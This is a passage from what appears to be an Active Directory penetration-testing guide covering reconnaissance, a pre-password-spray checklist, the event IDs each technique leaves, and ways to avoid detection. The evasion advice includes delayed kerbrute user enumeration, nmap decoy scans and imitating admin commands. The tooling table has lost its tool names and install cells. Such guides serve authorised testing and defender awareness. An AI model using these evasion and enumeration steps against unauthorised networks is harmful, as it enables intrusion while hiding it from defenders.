│ └── relay_targets.txt # Hosts without SMB signing
└── intel/
├── interesting_accounts.txt # Descriptions with creds, no-pw accounts
├── privileged_groups.txt # DA/EA membership
└── osint_findings.txt # CT logs, GitHub, breach data10.2 Pre-Spray Checklist
Before moving to AD-02 (credential attacks), verify you have:
[ ] Password lockout threshold confirmed
[ ] Observation window duration confirmed
[ ] Fine-grained PSOs documented (different policies for different accounts)
[ ] Spray candidate list deduplicated
[ ] ASREPRoasting attempted and hashes sent to cracking
[ ] Relay target list ready (for NTLM relay if spray fails)
[ ] Valid username list confirmed via kerbrute
[ ] Any description-field credentials investigated11. OpSec Considerations
11.1 Event Log Artifacts Generated
Technique | Event ID Generated | Log Location | Noise Level |
|---|---|---|---|
Kerbrute user enum | 4768 (failed) | DC Security Log | Medium-High |
LDAP anon bind | 2889 (if logging enabled) | DC Directory Service | Low |
SMB null session | 4624 (Logon Type 3, blank user) | DC Security Log | Low |
RPC enumeration | 5145 (share access) | DC Security Log | Low |
ASREPRoasting | 4768 (RC4 TGT request) | DC Security Log | Low-Medium |
Port scanning | Multiple 5156/5157 | Host Firewall Logs | High |
Zone transfer | None (DNS query) | DNS Debug Log | Low |
Responder analyze | None | N/A | Zero |
OSINT / CT logs | None | N/A | Zero |
11.2 Avoiding Detection
# Kerbrute spread requests to avoid threshold alerts
kerbrute userenum --dc $DC_IP -d $DOMAIN --delay 1000 users.txt
# 1000ms delay = 60 requests/minute = less likely to trigger SIEM rules
# LDAP single queries generate minimal logs; avoid repeated bulk dumps
# If you need bulk data, do it in one pass rather than iterating
# For port scanning use decoy IPs to muddy attribution
nmap -D RND:10 -p 88,389,445 10.10.10.0/24
# Randomize scan order
nmap --randomize-hosts -p 88,389,445 10.10.10.0/24
# ASREPRoasting the hash request itself (4768 with no pre-auth) is
# only suspicious if monitoring is specifically looking for etype 23
# requests or accounts with DONT_REQUIRE_PREAUTH flag
# Timing avoid business hours in some engagements to blend with
# legitimate authentication noise (or target business hours to blend in)11.3 Signature Avoidance
# Kerbrute generates a distinct user-agent in packets
# Some SIEM rules detect "kerbrute" in Kerberos client strings
# Use --safe flag to skip locked accounts (avoids resetting lockout counter)
# Vary tooling don't always use impacket (it has known client strings)
# ldapsearch is standard system tool and generates minimal signatures
# Consider using native Windows tools if you have a foothold elsewhere:
# nltest /dsgetdc:corp.local
# net group "Domain Admins" /domain
# These look identical to legitimate admin activity12. Tooling Quick Reference
Tool | Purpose | Install |
|---|---|---|
| Kerberos user enum + spray |
|
| ASREPRoasting |
|
| RPC endpoint enumeration | Included with impacket |
| RID cycling | Included with impacket |
| LDAP queries |
|
| SMB null session |
|
| RPC enumeration |
|
| All-in-one SMB/RPC/LDAP |
|
| SMB signing, relay prep |
|
| Passive traffic analysis |
|
| DNS enumeration |
|
| DNS brute force |
|
| OSINT harvesting |
|
| Fast host discovery |
|
| Packet analysis |
|
| Offline hash cracking |
|
Summary: What You Own After This Phase
Intelligence | Best Source | Alternate Source |
|---|---|---|
Domain FQDN + NetBIOS name | DNS SRV records | SMB banner |
DC hostnames + IPs | DNS SRV / nmap | CT logs |
Forest/trust topology | LDAP anon bind | Global Catalog ports |
Complete valid username list | kerbrute | LDAP anon / RID cycling |
Password policy + lockout | rpcclient getdompwinfo | LDAP anon |
No-preauth account hashes | GetNPUsers | kerbrute (flags them) |
Cracked plaintext creds | hashcat offline | — |
High-privilege group members | LDAP anon | enum4linux-ng |
Description-field creds | LDAP anon | — |
Internal hostnames | DNS zone / Responder | CT logs |
SMB signing status (relay map) | netexec | nmap scripts |
Installed services (Exchange/SCCM) | RPC dump | nmap / CT logs |
ADCS CA presence | LDAP anon / DNS | HTTP certsrv |